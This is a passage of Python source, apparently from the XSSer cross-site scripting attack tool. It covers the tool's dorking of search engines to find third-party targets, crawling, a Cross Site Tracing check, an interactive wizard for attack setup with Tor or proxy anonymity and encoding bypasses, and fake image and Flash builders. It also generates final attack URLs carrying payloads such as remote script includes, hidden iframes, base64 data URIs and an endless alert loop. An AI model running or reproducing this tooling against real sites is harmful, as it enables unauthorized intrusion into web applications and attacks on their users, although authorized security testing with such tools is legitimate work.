  2012. elif options.dork_file: # dork from file ('core/fuzzing/dorks.txt')
  2013. self.report('='*75)
  2014. self.report(str(p.version))
  2015. self.report('='*75)
  2016. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  2017. self.report('='*75)
  2018. try:
  2019. f = open('core/fuzzing/dorks.txt')
  2020. dorks = f.readlines()
  2021. dorks = [ dork.replace('\n','') for dork in dorks ]
  2022. f.close()
  2023. if not dorks:
  2024. print("\n[Error] - Imposible to retrieve 'dorks' from file.\n")
  2025. return
  2026. except:
  2027. if os.path.exists('core/fuzzing/dorks.txt') == True:
  2028. print('[Error] - Cannot open:', 'dorks.txt', "\n")
  2029. return
  2030. else:
  2031. print('[Error] - Cannot found:', 'dorks.txt', "\n")
  2032. return
  2033. if not options.dork_engine:
  2034. options.dork_engine = 'duck' # default search engine [26-08/2019]
  2035. if options.dork_mass: # massive dorkering
  2036. for e in self.search_engines:
  2037. try:
  2038. dorker = Dorker(e)
  2039. for dork in dorks:
  2040. urls = dorker.dork(dork)
  2041. i = 0
  2042. for u in urls: # replace original parameter for injection keyword (XSS)
  2043. p_uri = urlparse(u)
  2044. uri = p_uri.netloc
  2045. path = p_uri.path
  2046. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2047. for key, value in target_params.items(): # parse params to apply keywords
  2048. for v in value:
  2049. target_params[key] = 'XSS'
  2050. target_url_params = urllib.parse.urlencode(target_params)
  2051. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2052. urls[i] = u
  2053. i = i + 1
  2054. except Exception as e:
  2055. for reporter in self._reporters:
  2056. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2057. else:
  2058. if urls is not None:
  2059. for url in urls:
  2060. for reporter in self._reporters:
  2061. reporter.add_link(dorker.search_url, url)
  2062. else:
  2063. dorker = Dorker(options.dork_engine)
  2064. try:
  2065. for dork in dorks:
  2066. urls = dorker.dork(dork)
  2067. i = 0
  2068. for u in urls: # replace original parameter for injection keyword (XSS)
  2069. p_uri = urlparse(u)
  2070. uri = p_uri.netloc
  2071. path = p_uri.path
  2072. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2073. for key, value in target_params.items(): # parse params to apply keywords
  2074. for v in value:
  2075. target_params[key] = 'XSS'
  2076. target_url_params = urllib.parse.urlencode(target_params)
  2077. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2078. urls[i] = u
  2079. i = i + 1
  2080. except Exception as e:
  2081. for reporter in self._reporters:
  2082. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2083. else:
  2084. if urls is not None:
  2085. for url in urls:
  2086. for reporter in self._reporters:
  2087. reporter.add_link(dorker.search_url, url)
  2088. if options.crawling: # crawlering target(s)
  2089. nthreads = options.threads
  2090. self.crawled_urls = list(urls)
  2091. all_crawled = []
  2092. try:
  2093. self.options.crawling = int(self.options.crawling)
  2094. except:
  2095. self.options.crawling = 50
  2096. if self.options.crawler_width == None:
  2097. self.options.crawler_width = 2 # default crawlering-width
  2098. else:
  2099. try:
  2100. self.options.crawler_width = int(self.options.crawler_width)
  2101. except:
  2102. self.options.crawler_width = 2 # default crawlering-width
  2103. if self.options.crawler_local == None:
  2104. self.options.crawler_local = False # default crawlering to LOCAL
  2105. for url in set(urls):
  2106. self.report("\n[Info] Crawlering TARGET:", url, "\n\n - Max. limit: "+ str(self.options.crawling)+ " \n - Deep level: "+ str(options.crawler_width))
  2107. crawler = Crawler(self, Curl, all_crawled,
  2108. self.pool)
  2109. crawler.set_reporter(self)
  2110. # now wait for all results to arrive
  2111. while urls:
  2112. self.run_crawl(crawler, urls.pop(), options)
  2113. while not self._landing:
  2114. for reporter in self._reporters:
  2115. reporter.report_state('broad scanning')
  2116. try:
  2117. self.pool.poll()
  2118. except NoResultsPending:
  2119. crawler.cancel()
  2120. break
  2121. if len(self.crawled_urls) >= int(options.crawling) or not crawler._requests:
  2122. self.report("\n[Info] Found enough results... calling all mosquitoes to home!")
  2123. crawler.cancel()
  2124. break
  2125. time.sleep(0.1)
  2126. # re-parse crawled urls from main
  2127. parsed_crawled_urls = []
  2128. for u in self.crawled_urls:
  2129. if "XSS" in u:
  2130. parsed_crawled_urls.append(u)
  2131. else:
  2132. pass
  2133. self.crawled_urls = parsed_crawled_urls
  2134. # report parsed crawled urls
  2135. self.report("\n" + "-"*25)
  2136. self.report("\n[Info] Mosquitoes have found: [ " + str(len(self.crawled_urls)) + " ] possible attacking vector(s)")
  2137. if self.options.verbose:
  2138. self.report("")
  2139. for u in self.crawled_urls:
  2140. if '/XSS' in u:
  2141. u = u.replace("/XSS", "")
  2142. print(" - " + str(u))
  2143. if len(self.crawled_urls) > 0:
  2144. self.report("")
  2145. else:
  2146. self.report("-"*25)
  2147. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  2148. return self.crawled_urls
  2149. if not options.imx or not options.flash or not options.xsser_gtk or not options.update:
  2150. return urls
  2151. def run_crawl(self, crawler, url, options):
  2152. def _cb(request, result):
  2153. pass
  2154. def _error_cb(request, error):
  2155. for reporter in self._reporters:
  2156. reporter.mosquito_crashed(url, str(error[0]))
  2157. traceback.print_tb(error[2])
  2158. def crawler_main(args):
  2159. return crawler.crawl(*args)
  2160. crawler.crawl(url, int(options.crawler_width),
  2161. int(options.crawling),options.crawler_local)
  2162. def poll_workers(self):
  2163. try:
  2164. self.pool.poll()
  2165. except NoResultsPending:
  2166. pass
  2167. def try_running(self, func, error, args=[]):
  2168. """
  2169. Try running a function and print some error if it fails and exists with
  2170. a fatal error.
  2171. """
  2172. try:
  2173. return func(*args)
  2174. except Exception as e:
  2175. self.report(error)
  2176. if DEBUG:
  2177. traceback.print_exc()
  2178. def check_trace(self):
  2179. """
  2180. Check for Cross Site Tracing (XST) vulnerability:
  2181. 1) check HTTP TRACE method enabled (add 'Max-Forwards: 0' to curl command to bypass some 'Anti-antixst' web proxy rules)
  2182. 2) check data sent on reply
  2183. """
  2184. agents = [] # user-agents
  2185. try:
  2186. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2187. except:
  2188. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2189. for line in f:
  2190. agents.append(line)
  2191. agent = random.choice(agents).strip() # set random user-agent
  2192. referer = '127.0.0.1'
  2193. import subprocess, shlex
  2194. self.report('='*75)
  2195. self.report("\n[Info] Trying method: Cross Site Tracing (XST)\n")
  2196. if self.options.xst:
  2197. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.xst), stdout=subprocess.PIPE)
  2198. if self.options.target:
  2199. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.target), stdout=subprocess.PIPE)
  2200. line1 = xst.stdout.readline()
  2201. if self.options.verbose:
  2202. print("-"*25 + "\n")
  2203. while True:
  2204. line = xst.stdout.readline()
  2205. if line != '':
  2206. print(line.rstrip())
  2207. else:
  2208. break
  2209. self.report("")
  2210. self.report('-'*50+"\n")
  2211. if "200 OK" in line1.rstrip():
  2212. print("[Info] Target is vulnerable to XST! (Cross Site Tracing) ;-)\n")
  2213. else:
  2214. print("[Info] Target is NOT vulnerable to XST (Cross Site Tracing) ;-(\n")
  2215. if self.options.target:
  2216. self.report('='*75)
  2217. def start_wizard(self):
  2218. """
  2219. Start Wizard Helper
  2220. """
  2221. #step 0: Menu
  2222. ans1=True
  2223. ans2=True
  2224. ans3=True
  2225. ans4=True
  2226. ans5=True
  2227. ans6=True
  2228. #step 1: Where
  2229. while ans1:
  2230. print("""\nA)- Where are your targets?\n
  2231. [1]- I want to enter the url of my target directly.
  2232. [2]- I want to enter a list of targets from a .txt file.
  2233. *[3]- I don't know where are my target(s)... I just want to explore! :-)
  2234. [e]- Exit/Quit/Abort.
  2235. """)
  2236. ans1 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2237. if ans1 == "1": # from url
  2238. url = input("Target url (ex: http(s)://target.com): ")
  2239. if url.startswith("http"):
  2240. ans1 = None
  2241. else:
  2242. print("\n[Error] Your url is not valid!. Try again!")
  2243. pass
  2244. elif ans1 == "2": # from file
  2245. url = input("Path to file (ex: 'targets_list.txt'): ")
  2246. if url == None:
  2247. print("\n[Error] Your are not providing a valid file. Try again!")
  2248. pass
  2249. else:
  2250. ans1 = None
  2251. elif ans1 == "3": # dorking
  2252. url = "DORKING"
  2253. ans1 = None
  2254. elif (ans1 == "e" or ans1 == "E"):
  2255. print("Closing wizard...")
  2256. ans1=None
  2257. ans2=None
  2258. ans3=None
  2259. ans4=None
  2260. ans5=None
  2261. ans6=None
  2262. else:
  2263. print("\nNot valid choice. Try again!")
  2264. #step 2: How
  2265. while ans2:
  2266. print(22*"-")
  2267. print("""\nB)- How do you want to connect?\n
  2268. [1]- I want to connect using GET and select some possible vulnerable parameter(s) directly.
  2269. [2]- I want to connect using POST and select some possible vulnerable parameter(s) directly.
  2270. [3]- I want to "crawl" all the links of my target(s) to found as much vulnerabilities as possible.
  2271. *[4]- I don't know how to connect... Just do it! :-)
  2272. [e]- Exit/Quit/Abort.
  2273. """)
  2274. ans2 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2275. if ans2 == "1": # using GET
  2276. payload = input("GET payload (ex: '/menu.php?q='): ")
  2277. if payload == None:
  2278. print("\n[Error] Your are providing an empty payload. Try again!")
  2279. pass
  2280. else:
  2281. self.user_template_conntype = "GET"
  2282. ans2 = None
  2283. elif ans2 == "2": # using POST
  2284. payload = input("POST payload (ex: 'foo=1&bar='): ")
  2285. if payload == None:
  2286. print("\n[Error] Your are providing an empty payload. Try again!")
  2287. pass
  2288. else:
  2289. self.user_template_conntype = "POST"
  2290. ans2 = None
  2291. elif ans2 == "3": # crawlering
  2292. payload = "CRAWLER"
  2293. ans2 = None
  2294. elif ans2 == "4": # crawlering
  2295. payload = "CRAWLER"
  2296. ans2 = None
  2297. elif (ans2 == "e" or ans2 == "E"):
  2298. print("Closing wizard...")
  2299. ans2=None
  2300. ans3=None
  2301. ans4=None
  2302. ans5=None
  2303. ans6=None
  2304. else:
  2305. print("\nNot valid choice. Try again!")
  2306. #step 3: Proxy
  2307. while ans3:
  2308. print(22*"-")
  2309. print("""\nC)- Do you want to be 'anonymous'?\n
  2310. [1]- Yes. I want to use my proxy and apply automatic spoofing methods.
  2311. [2]- Anonymous?. Yes!!!. I have a TOR proxy ready at: http://127.0.0.1:8118.
  2312. *[3]- Yes. But I haven't any proxy. :-)
  2313. [4]- No. It's not a problem for me to connect directly to the target(s).
  2314. [e]- Exit/Quit.
  2315. """)
  2316. ans3 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2317. if ans3 == "1": # using PROXY + spoofing
  2318. proxy = input("Enter proxy [http(s)://server:port]: ")
  2319. ans3 = None
  2320. elif ans3 == "2": # using TOR + spoofing
  2321. proxy = 'Using TOR (default: http://127.0.0.1:8118)'
  2322. proxy = 'http://127.0.0.1:8118'
  2323. ans3 = None
  2324. elif ans3 == "3": # only spoofing
  2325. proxy = 'Proxy: No - Spoofing: Yes'
  2326. ans3 = None
  2327. elif ans3 == "4": # no spoofing
  2328. proxy = 'Proxy: No - Spoofing: No'
  2329. ans3 = None
  2330. elif (ans3 == "e" or ans3 == "E"):
  2331. print("Closing wizard...")
  2332. ans3=None
  2333. ans4=None
  2334. ans5=None
  2335. ans6=None
  2336. else:
  2337. print("\nNot valid choice. Try again!")
  2338. #step 4: Bypasser(s)
  2339. while ans4:
  2340. print(22*"-")
  2341. print("""\nD)- Which 'bypasser(s' do you want to use?\n
  2342. [1]- I want to inject XSS scripts without any encoding.
  2343. [2]- Try to inject code using 'Hexadecimal'.
  2344. [3]- Try to inject code mixing 'String.FromCharCode()' and 'Unescape()'.
  2345. [4]- I want to inject using 'Character Encoding Mutations' (Une+Str+Hex).
  2346. *[5]- I don't know exactly what is a 'bypasser'... But I want to inject code! :-)
  2347. [e]- Exit/Quit.
  2348. """)
  2349. ans4 = input("Your choice: [1], [2], [3], [4], [5] or [e]xit\n")
  2350. if ans4 == "1": # no encode
  2351. enc = "Not using encoders"
  2352. ans4 = None
  2353. elif ans4 == "2": # enc: Hex
  2354. enc = 'Hex'
  2355. ans4 = None
  2356. elif ans4 == "3": # enc: Str+Une
  2357. enc = 'Str+Une'
  2358. ans4 = None
  2359. elif ans4 == "4": # enc: Mix: Une+Str+Hex
  2360. enc = "Une,Str,Hex"
  2361. ans4 = None
  2362. elif ans4 == "5": # enc: no encode
  2363. enc = 'Not using encoders'
  2364. ans4 = None
  2365. elif (ans4 == "e" or ans4 == "E"):
  2366. print("Closing wizard...")
  2367. ans4=None
  2368. ans5=None
  2369. ans6=None
  2370. else:
  2371. print("\nNot valid choice. Try again!")
  2372. #step 5: Exploiting
  2373. while ans5:
  2374. print(22*"-")
  2375. print("""\nE)- Which final code do you want to 'exploit' on vulnerabilities found?\n
  2376. [1]- I want to inject a classic "Alert" message box.
  2377. [2]- I want to inject my own scripts.
  2378. *[3]- I don't want to inject a final code... I just want to discover vulnerabilities! :-)
  2379. [e]- Exit/Quit.
  2380. """)
  2381. ans5 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2382. if ans5 == "1": # alertbox
  2383. script = 'Alertbox'
  2384. ans5 = None
  2385. elif ans5 == "2": # manual
  2386. script = input("Enter code (ex: '><script>alert('XSS');</script>): ")
  2387. if script == None:
  2388. print("\n[Error] Your are providing an empty script to inject. Try again!")
  2389. pass
  2390. else:
  2391. ans5 = None
  2392. elif ans5 == "3": # no exploit
  2393. script = 'Not exploiting code'
  2394. ans5 = None
  2395. elif (ans5 == "e" or ans5 == "E"):
  2396. print("Closing wizard...")
  2397. ans5=None
  2398. ans6=None
  2399. else:
  2400. print("\nNot valid choice. Try again!")
  2401. #step 6: Final
  2402. while ans6:
  2403. print(22*"-")
  2404. print("\nVery nice!. That's all. Your last step is to -accept or not- this template.\n")
  2405. print("A)- Target:", url)
  2406. print("B)- Payload:", payload)
  2407. print("C)- Privacy:", proxy)
  2408. print("D)- Bypasser(s):", enc)
  2409. print("E)- Final:", script)
  2410. print("""
  2411. [Y]- Yes. Accept it and start testing!.
  2412. [N]- No. Abort it?.
  2413. """)
  2414. ans6 = input("Your choice: [Y] or [N]\n")
  2415. if (ans6 == "y" or ans6 == "Y"): # YES
  2416. start = 'YES'
  2417. print('Good fly... and happy "Cross" hacking !!! :-)\n')
  2418. ans6 = None
  2419. elif (ans6 == "n" or ans6 == "N"): # NO
  2420. start = 'NO'
  2421. print("Aborted!. Closing wizard...")
  2422. ans6 = None
  2423. else:
  2424. print("\nNot valid choice. Try again!")
  2425. if url and payload and proxy and enc and script:
  2426. return url, payload, proxy, enc, script
  2427. else:
  2428. return
  2429. def create_fake_image(self, filename, payload):
  2430. """
  2431. Create -fake- image with code injected
  2432. """
  2433. options = self.options
  2434. filename = options.imx
  2435. payload = options.script
  2436. image_xss_injections = ImageInjections()
  2437. image_injections = image_xss_injections.image_xss(options.imx , options.script)
  2438. return image_injections
  2439. def create_fake_flash(self, filename, payload):
  2440. """
  2441. Create -fake- flash movie (.swf) with code injected
  2442. """
  2443. options = self.options
  2444. filename = options.flash
  2445. payload = options.script
  2446. flash_xss_injections = FlashInjections()
  2447. flash_injections = flash_xss_injections.flash_xss(options.flash, options.script)
  2448. return flash_injections
  2449. def create_gtk_interface(self):
  2450. """
  2451. Create GTK Interface
  2452. """
  2453. options = self.options
  2454. from core.gtkcontroller import Controller, reactor
  2455. uifile = "xsser.ui"
  2456. controller = Controller(uifile, self)
  2457. self._reporters.append(controller)
  2458. if reactor:
  2459. reactor.run()
  2460. else:
  2461. from gi.repository import Gtk
  2462. Gtk.main()
  2463. return controller
  2464. def run(self, opts=None):
  2465. """
  2466. Run xsser.
  2467. """
  2468. #self._landing = False
  2469. for reporter in self._reporters:
  2470. reporter.start_attack()
  2471. if opts:
  2472. options = self.create_options(opts)
  2473. self.set_options(options)
  2474. if not self.mothership and not self.hub:
  2475. self.hub = HubThread(self)
  2476. self.hub.start()
  2477. options = self.options
  2478. if options:
  2479. # step -1; order attacks
  2480. if self.options.hash is True: # not fuzzing/heuristic when hash precheck
  2481. self.options.fuzz = False
  2482. self.options.script = False
  2483. self.options.coo = False
  2484. self.options.xsa = False
  2485. self.options.xsr = False
  2486. self.options.dcp = False
  2487. self.options.dom = False
  2488. self.options.inducedcode = False
  2489. self.options.heuristic = False
  2490. if self.options.heuristic: # not fuzzing/hash when heuristic precheck
  2491. self.options.fuzz = False
  2492. self.options.script = False
  2493. self.options.coo = False
  2494. self.options.xsa = False
  2495. self.options.xsr = False
  2496. self.options.dcp = False
  2497. self.options.dom = False
  2498. self.options.inducedcode = False
  2499. self.options.hash = False
  2500. if self.options.Cem: # parse input at CEM for blank spaces
  2501. self.options.Cem = self.options.Cem.replace(" ","")
  2502. else:
  2503. pass
  2504. # step 0: third party tricks
  2505. try:
  2506. if self.options.imx: # create -fake- image with code injected
  2507. p = self.optionParser
  2508. self.report('='*75)
  2509. self.report(str(p.version))
  2510. self.report('='*75)
  2511. self.report("[Image XSS Builder]...")
  2512. self.report('='*75)
  2513. self.report(''.join(self.create_fake_image(self.options.imx, self.options.script)))
  2514. self.report('='*75 + "\n")
  2515. except:
  2516. return
  2517. if options.flash: # create -fake- flash movie (.swf) with code injected
  2518. p = self.optionParser
  2519. self.report('='*75)
  2520. self.report(str(p.version))
  2521. self.report('='*75)
  2522. self.report("[Flash Attack! XSS Builder]...")
  2523. self.report('='*75)
  2524. self.report(''.join(self.create_fake_flash(self.options.flash, self.options.script)))
  2525. self.report('='*75 + "\n")
  2526. if options.xsser_gtk:
  2527. self.create_gtk_interface()
  2528. return
  2529. if self.options.wizard: # start a wizard helper
  2530. p = self.optionParser
  2531. self.report('='*75)
  2532. self.report(str(p.version))
  2533. self.report('='*75)
  2534. self.report("[Wizard] Generating XSS attack...")
  2535. self.report('='*75)
  2536. self.user_template = self.start_wizard()
  2537. if self.options.xst: # check for cross site tracing
  2538. p = self.optionParser
  2539. if not self.options.target:
  2540. self.report('='*75)
  2541. self.report(str(p.version))
  2542. self.report('='*75)
  2543. self.report("[XST Attack!] checking for HTTP TRACE method ...")
  2544. self.report('='*75)
  2545. self.check_trace()
  2546. if options.checktor:
  2547. url = self.check_tor_url # TOR status checking site
  2548. print('='*75)
  2549. print("")
  2550. print(" _ ")
  2551. print(" /_/_ .'''. ")
  2552. print(" =O(_)))) ...' `. ")
  2553. print(" \_\ `. .'''")
  2554. print(" `..' ")
  2555. print("")
  2556. print('='*75)
  2557. agents = [] # user-agents
  2558. try:
  2559. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2560. except:
  2561. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2562. for line in f:
  2563. agents.append(line)
  2564. agent = random.choice(agents).strip() # set random user-agent
  2565. referer = "127.0.0.1"
  2566. print("\nSending request to: " + url + "\n")
  2567. print("-"*25+"\n")
  2568. headers = {'User-Agent' : agent, 'Referer' : referer} # set fake user-agent and referer
  2569. try:
  2570. import urllib.request, urllib.error, urllib.parse
  2571. req = urllib.request.Request(url, None, headers)
  2572. tor_reply = urllib.request.urlopen(req).read()
  2573. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  2574. if not tor_reply or 'Congratulations' not in tor_reply:
  2575. print("It seems that Tor is not properly set.\n")
  2576. print(("IP address appears to be: " + your_ip + "\n"))
  2577. else:
  2578. print("Congratulations!. Tor is properly being used :-)\n")
  2579. print(("IP address appears to be: " + your_ip + "\n"))
  2580. except:
  2581. print("[Error] Cannot reach TOR checker system!. Are you connected?\n")
  2582. sys.exit(2) # return
  2583. nthreads = max(1, abs(options.threads))
  2584. nworkers = len(self.pool.workers)
  2585. if nthreads != nworkers:
  2586. if nthreads < nworkers:
  2587. self.pool.dismissWorkers(nworkers-nthreads)
  2588. else:
  2589. self.pool.createWorkers(nthreads-nworkers)
  2590. for reporter in self._reporters:
  2591. reporter.report_state('scanning')
  2592. # step 1: get urls
  2593. urls = self.try_running(self._get_attack_urls, "\n[Error] Internal error getting -targets-\n")
  2594. for reporter in self._reporters:
  2595. reporter.report_state('arming')
  2596. # step 2: get payloads
  2597. payloads = self.try_running(self.get_payloads, "\n[Error] Internal error getting -payloads-\n")
  2598. for reporter in self._reporters:
  2599. reporter.report_state('cloaking')
  2600. if options.Dwo:
  2601. payloads = self.process_payloads_ipfuzzing(payloads)
  2602. elif options.Doo:
  2603. payloads = self.process_payloads_ipfuzzing_octal(payloads)
  2604. for reporter in self._reporters:
  2605. reporter.report_state('locking targets')
  2606. # step 3: get query string
  2607. query_string = self.try_running(self.get_query_string, "\n[Error] Internal problems getting query -string-\n")
  2608. for reporter in self._reporters:
  2609. reporter.report_state('sanitize')
  2610. urls = self.sanitize_urls(urls)
  2611. for reporter in self._reporters:
  2612. reporter.report_state('attack')
  2613. # step 4: perform attack
  2614. self.try_running(self.attack, "\n[Error] Internal problems running attack...\n", (urls, payloads, query_string))
  2615. for reporter in self._reporters:
  2616. reporter.report_state('reporting')
  2617. if len(self.final_attacks):
  2618. self.report("[Info] Waiting for tokens to arrive...")
  2619. while self._ongoing_requests and not self._landing:
  2620. if not self.pool:
  2621. self.mothership.poll_workers()
  2622. else:
  2623. self.poll_workers()
  2624. time.sleep(0.2)
  2625. for reporter in self._reporters:
  2626. reporter.report_state('final sweep...')
  2627. if self.pool:
  2628. self.pool.dismissWorkers(len(self.pool.workers))
  2629. self.pool.joinAllDismissedWorkers()
  2630. start = time.time()
  2631. while not self._landing and len(self.final_attacks) and time.time() - start < 5.0:
  2632. time.sleep(0.2)
  2633. for reporter in self._reporters:
  2634. reporter.report_state('landing... '+str(int(5.0 - (time.time() - start))))
  2635. if self.final_attacks:
  2636. self.report("-"*25+"\n")
  2637. self.report("[Info] Generating 'token' url:\n")
  2638. for final_attack in self.final_attacks.values():
  2639. if not final_attack['url'] == None:
  2640. self.report(final_attack['url'] , "\n")
  2641. self.report("="*50+"\n")
  2642. self.report("[Info] CONGRATULATIONS!!! <-> This vector is doing a remote connection... So, is: 100% VULNERABLE! ;-)\n")
  2643. self.report(",".join(self.successful_urls), "\n")
  2644. self.report("="*50 + "\n")
  2645. for reporter in self._reporters:
  2646. reporter.end_attack()
  2647. self.report("="*50)
  2648. if self.mothership:
  2649. self.mothership.remove_reporter(self)
  2650. self.report("Mosquito(es) landed!")
  2651. else:
  2652. self.report("Mosquito(es) landed!")
  2653. self.report("="*50)
  2654. self.print_results()
  2655. def sanitize_urls(self, urls):
  2656. all_urls = set()
  2657. if urls is not None:
  2658. for url in urls:
  2659. if url.startswith("http://") or url.startswith("https://"):
  2660. self.urlspoll.append(url)
  2661. all_urls.add(url)
  2662. else:
  2663. if self.options.crawling:
  2664. self.report("[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2665. else:
  2666. self.report("\n[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2667. url = None
  2668. else:
  2669. self.report("\n[Error] Not any valid source provided to start a test... Aborting!\n")
  2670. return all_urls
  2671. def land(self, join=False):
  2672. self._landing = True
  2673. if self.hub:
  2674. self.hub.shutdown()
  2675. if join:
  2676. self.hub.join()
  2677. self.hub = None
  2678. def _prepare_extra_attacks(self, payload):
  2679. """
  2680. Setup extra attacks.
  2681. """
  2682. options = self.options
  2683. agents = [] # user-agents
  2684. try:
  2685. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2686. except:
  2687. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2688. for line in f:
  2689. agents.append(line)
  2690. extra_agent = random.choice(agents).strip() # set random user-agent
  2691. extra_referer = "127.0.0.1"
  2692. extra_cookie = None
  2693. if self.options.script:
  2694. if 'XSS' in payload['payload']:
  2695. payload['payload'] = payload['payload'].replace("XSS","PAYLOAD")
  2696. if 'PAYLOAD' in payload['payload'] or 'XSS' in payload['payload']:
  2697. if options.xsa:
  2698. hashing = self.generate_hash('xsa')
  2699. agent = payload['payload'].replace('PAYLOAD', hashing)
  2700. self._ongoing_attacks['xsa'] = hashing
  2701. self.xsa_injection = self.xsa_injection + 1
  2702. self.options.agent = agent
  2703. extra_agent = agent
  2704. self.extra_hashed_injections[hashing] = "XSA", payload['payload']
  2705. if options.xsr:
  2706. hashing = self.generate_hash('xsr')
  2707. referer = payload['payload'].replace('PAYLOAD', hashing)
  2708. self._ongoing_attacks['xsr'] = hashing
  2709. self.xsr_injection = self.xsr_injection + 1
  2710. self.options.referer = referer
  2711. extra_referer = referer
  2712. self.extra_hashed_injections[hashing] = "XSR", payload['payload']
  2713. if options.coo:
  2714. hashing = self.generate_hash('cookie')
  2715. cookie = payload['payload'].replace('PAYLOAD', hashing)
  2716. self._ongoing_attacks['coo'] = hashing
  2717. self.coo_injection = self.coo_injection + 1
  2718. self.options.cookie = cookie
  2719. extra_cookie = cookie
  2720. self.extra_hashed_injections[hashing] = "COO", payload['payload']
  2721. return extra_agent, extra_referer, extra_cookie
  2722. def attack(self, urls, payloads, query_string):
  2723. """
  2724. Perform an attack on the given urls with the provided payloads and
  2725. query_string.
  2726. """
  2727. for url in urls:
  2728. if self.pool:
  2729. self.poll_workers()
  2730. else:
  2731. self.mothership.poll_workers()
  2732. if not self._landing:
  2733. self.attack_url(url, payloads, query_string)
  2734. def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  2735. """
  2736. Generate a real attack url by using data from a successful test.
  2737. This method also applies DOM stealth mechanisms.
  2738. """
  2739. user_attack_payload = payload['payload']
  2740. if self.options.finalpayload:
  2741. user_attack_payload = self.options.finalpayload
  2742. elif self.options.finalremote:
  2743. user_attack_payload = '<script src="' + self.options.finalremote + '"></script>'
  2744. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Data Control Protocol Injection]":
  2745. user_attack_payload = '<a href="data:text/html;base64,' + b64encode(self.options.finalpayload) + '></a>'
  2746. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Induced Injection]":
  2747. user_attack_payload = self.options.finalpayload
  2748. if self.options.dos:
  2749. user_attack_payload = '<script>for(;;)alert("You were XSSed!!");</script>'
  2750. if self.options.doss:
  2751. user_attack_payload = '<meta%20http-equiv="refresh"%20content="0;">'
  2752. if self.options.b64:
  2753. user_attack_payload = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4">'
  2754. if self.options.onm:
  2755. user_attack_payload = '"style="position:absolute;top:0;left:0;z-index:1000;width:3000px;height:3000px" onMouseMove="' + user_attack_payload
  2756. if self.options.ifr:
  2757. user_attack_payload = '<iframe src="' + user_attack_payload + '" width="0" height="0"></iframe>'
  2758. do_anchor_payload = self.options.anchor
  2759. anchor_data = None
  2760. attack_hash = None
  2761. if do_anchor_payload: # DOM Shadows!
  2762. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  2763. dest_url = dest_url.replace('?', '#')
  2764. else:
  2765. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  2766. if attack_hash:
  2767. self.final_attacks[attack_hash] = {'url':dest_url}
  2768. return dest_url
  2769. def token_arrived(self, attack_hash):
  2770. if not self.mothership:
  2771. # only the mothership calls on token arriving.
  2772. self.final_attack_callback(attack_hash)
  2773. def final_attack_callback(self, attack_hash):
  2774. if attack_hash in self.final_attacks:
  2775. dest_url = self.final_attacks[attack_hash]['url']
  2776. self.report('[*] Browser check:', dest_url)
  2777. for reporter in self._reporters:
  2778. reporter.add_checked(dest_url)
  2779. if self._reporter:
  2780. from twisted.internet import reactor
  2781. reactor.callFromThread(self._reporter.post, 'SUCCESS ' + dest_url)
  2782. self.final_attacks.pop(attack_hash)
  2783. def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  2784. real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
  2785. #generate_shorturls = self.options.shorturls
  2786. #if generate_shorturls:
  2787. # shortener = ShortURLReservations(self.options.shorturls)
  2788. # if self.options.finalpayload or self.options.finalremote or self.options.b64 or self.options.dos:
  2789. # shorturl = shortener.process_url(real_attack_url)
  2790. # self.report("[/] Shortered URL (Final Attack):", shorturl)
  2791. # else:
  2792. # shorturl = shortener.process_url(dest_url)
  2793. # self.report("[/] Shortered URL (Injection):", shorturl)
  2794. return real_attack_url
  2795. def report(self, *args):
  2796. args = list([str(s) for s in args])
  2797. formatted = " ".join(args)
  2798. if not self.options.silent:
  2799. print(formatted)
  2800. for reporter in self._reporters:
  2801. reporter.post(formatted)
  2802. def print_results(self):
  2803. """
  2804. Print results from attack.
  2805. """
  2806. self.report('\n' + '='*75)
  2807. total_injections = len(self.hash_found) + len(self.hash_notfound)
  2808. if len(self.hash_found) + len(self.hash_notfound) == 0:
  2809. pass
  2810. elif self.options.heuristic:
  2811. pass
  2812. else:
  2813. self.report("[*] Final Results:")
  2814. self.report('='*75 + '\n')
  2815. self.report("- Injections:", total_injections)
  2816. self.report("- Failed:", len(self.hash_notfound))
  2817. self.report("- Successful:", len(self.hash_found))
  2818. try:
  2819. _accur = len(self.hash_found) * 100 / total_injections
  2820. except ZeroDivisionError:
  2821. _accur = 0
  2822. self.report("- Accur: %s %%\n" % _accur)
  2823. if not len(self.hash_found) and self.hash_notfound:
  2824. self.report('='*75 + '\n')
  2825. pass
  2826. else:
  2827. self.report('='*75)
  2828. self.report("[*] List of XSS injections:")
  2829. self.report('='*75 + '\n')
